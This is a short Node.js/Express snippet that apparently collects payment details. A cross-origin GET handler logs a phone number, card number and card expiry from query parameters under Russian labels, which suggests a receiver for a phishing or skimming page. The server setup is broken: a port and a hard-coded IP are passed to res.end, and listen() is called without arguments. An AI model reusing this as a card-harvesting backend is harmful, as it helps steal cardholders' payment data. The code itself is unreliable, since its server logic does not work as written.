app.use(bodyparser.urlencoded({extended: false}));
app.get ('/', cors(), function (req, res, next) {
console.log(`Телефон: ${req['query']['phone']} Номер карты: ${req['query']['number']} Месяц/год: ${req['query']['month']}/${req['query']['card_expire_year']}`);
})
http.createServer((req, res) => {
res.writeHead(200, {
'Content-Type': 'text/html; charset=utf-8',
});
res.end(8000, '194.113.106.16')
}, app).listen();